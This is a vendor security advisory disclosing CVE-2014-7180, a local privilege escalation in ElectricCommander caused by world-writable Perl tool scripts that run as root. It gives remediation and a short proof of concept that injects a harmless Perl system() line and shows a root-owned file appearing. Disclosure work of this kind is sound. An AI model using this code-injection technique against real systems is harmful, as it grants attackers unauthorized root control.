Security Advisory SWRX-2014-010

ElectricCommander Local Privilege Escalation

Dell SecureWorks Counter Threat Unit™ Threat Intelligence

Advisory Information

Title: ElectricCommander Local Privilege Escalation
Advisory ID: SWRX-2014-010
Advisory URL: http://www.secureworks.com/cyber-threat-intelligence/advisories/SWRX-2014-010/
Date published: Wednesday, October 22, 2014
CVE: CVE-2014-7180
CVSS v2 base score: 7.2
Date of last update: Wednesday, October 22, 2014
Vendors contacted: Electric Cloud, Inc.
Release mode: Coordinated
Discovered by: Sean Wright, Dell SecureWorks

Summary

ElectricCommander is a toolset that facilitates remote deployment of environment configurations from a centralized server to attached agents. Due to excessive file system permissions on two Perl source code files, an unprivileged local attacker can modify these files to insert code. The attacker's code is then executed as the privileged user running these administrative tools.

Affected products

This vulnerability has been confirmed in version 4.2.4.71224 of ElectricCommander.

Vendor information, solutions, and workarounds

This vulnerability has been addressed in later versions of the toolset. ElectricCommander users should upgrade to version 4.2.6 (and above) or version 5.0.3 (and above).

As an alternate manual workaround, users may set the file permissions to become read-only after installation of the RPM package management system.

Details

Multiple commander tools are installed with ElectricCommander, including *eccert* and *ecconfigure*. According to Electric Cloud documentation, eccert is a command line tool used to manage the ElectricCommander Certificate Authority and the certificates configured on the ElectricCommander system. ecconfigure is a command line tool that can change the configuration values for any locally installed ElectricCommander server, web, agent, or repository service. Both of these tools involve manipulating write-protected files, so they need to be run as a privileged user.

These tools use the eccert.pl and ecconfigure.pl Perl source code files, both of which are installed with world-writeable permissions:

```
[user@testmachine src]$ ls -l
total 1264
-r--r--r-- 1 ecagentd ecagentd  81963 Apr  4 15:06 commander-elements.xsd
-r--r--r-- 1 ecagentd ecagentd 144955 Apr  4 15:06 commander.xsd
-rw-r--r-- 1 ecagentd ecagentd  17058 Apr  4 15:29 ecagentpreflight.pl
-rw-rw-rw- 1 ecagentd ecagentd  24437 Aug  6 16:15 eccert.pl
-rw-r--r-- 1 ecagentd ecagentd  21972 Apr  4 15:29 ecclientpreflight.pl
-r--r--r-- 1 ecagentd ecagentd 187385 Apr  4 15:06 eccommands.pl
-rw-rw-rw- 1 ecagentd ecagentd  58586 Aug  6 15:27 ecconfigure.pl
-rw-r--r-- 1 ecagentd ecagentd  31643 Apr  4 15:29 eceditors.pl
-rw-r--r-- 1 ecagentd ecagentd  51200 Apr  4 15:29 ecextract.pl
-rw-r--r-- 1 ecagentd ecagentd  17935 Apr  4 15:29 ecimpersonate.pl
-rw-r--r-- 1 ecagentd ecagentd  18465 Apr  4 15:29 ecp4snapshot.pl
-rw-r--r-- 1 ecagentd ecagentd  35125 Apr  4 15:29 ecproject.pl
-rw-r--r-- 1 ecagentd ecagentd  46167 Apr  4 15:29 ecproxy.pl
-rw-r--r-- 1 ecagentd ecagentd  12847 Apr  4 15:29 ecremotefilecopy.pl
-rw-r--r-- 1 ecagentd ecagentd  63940 Apr  4 15:29 ecreport.pl
-rw-r--r-- 1 ecagentd ecagentd 127615 Apr  4 15:29 ecrptdata.pl
-rw-r--r-- 1 ecagentd ecagentd  27498 Apr  4 15:29 ectool.pl
-rw-r--r-- 1 ecagentd ecagentd  12183 Apr  4 15:29 ecupgrade.pl
-rw-r--r-- 1 ecagentd ecagentd  93170 Apr  4 15:08 ElectricCommander-4.0204.tar.gz
-rw-r--r-- 1 ecagentd ecagentd  40390 Apr  4 15:29 lmintegration.pl
-rw-r--r-- 1 ecagentd ecagentd 108633 Apr  4 15:29 postp.pl
-rw-r--r-- 1 ecagentd ecagentd  25004 Apr  4 15:29 silkintegration.pl
```

As a result of these permissions, attackers can modify the files and insert Perl code. Because these scripts are run by a privileged user, the attacker's injected code is also run as a privileged user.

CVSS severity (version 2.0)

Access vector: Local access
Access complexity: Low
Authentication: No authentication
Impact type: Allows local code injection
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete
CVSS v2 base score: 7.2
CVSS v2 impact subscore: 10
CVSS v2 exploitability subscore: 3.9
CVSS v2 vector: (AV:L/AC:L/Au:N/C:C/I:C/A:C)

Proof of concept

Modify the eccert.pl source file and add the following the Perl code:

```
system('echo "Hacked" > /tmp/hacked');
```

Before running the eccert command tool, perform a list on the /tmp directory:

```
[user@testmachine tmp]$ ls -l
total 130464
drwxrwxrwx 2 ecagentd ecagentd     4096 Aug 18 11:45 ecmdrAgent
drwxr-xr-x 2 ecagentd ecagentd     4096 Aug 18 11:44 hsperfdata_ecagentd
-rw-r--r-- 1 ecagentd ecagentd     8052 Aug 18 11:44 logback-
9028132452383189524.groovy
```

Run the eccert file as a privileged user:

```
[user@testmachine tmp]$ sudo /opt/electriccloud/electriccommander/bin/eccert
eccert version 4.2.4.71224
Copyright (C) 2005-2014 Electric Cloud, Inc.
All rights reserved.

Usage:
    eccert [ options ] command [ arg ... ]

  Commands:
    addTrustedServer crt
        Add a server CA certificate to the agent's keystore.
```

Confirm the "hacked" file has been created in the /tmp directory and is owned by root:

```
[user@testmachine tmp]$ ls -l
total 130464
drwxrwxrwx 2 ecagentd ecagentd     4096 Aug 18 11:45 ecmdrAgent
-rw-r--r-- 1 root     root            7 Aug 22 12:09 hacked
drwxr-xr-x 2 ecagentd ecagentd     4096 Aug 18 11:44 hsperfdata_ecagentd
-rw-r--r-- 1 ecagentd ecagentd     8052 Aug 18 11:44 logback-
9028132452383189524.groovy
[user@testmachine tmp]$ cat hacked
Hacked
```

Revision history

1.0 2014-10-22: Initial advisory release

PGP keys

This advisory has been signed with the Dell SecureWorks Counter Threat Unit™ PGP key, which is available for download at http://www.secureworks.com/SecureWorksCTU.asc.

About Dell SecureWorks

Dell Inc. (NASDAQ: DELL) listens to clients and delivers worldwide innovative technology and business solutions they trust and value. Recognized as an industry leader by top analysts, Dell SecureWorks provides world-class information security services to help organizations of all sizes protect their IT assets, comply with regulations, and reduce security costs.

Disclaimer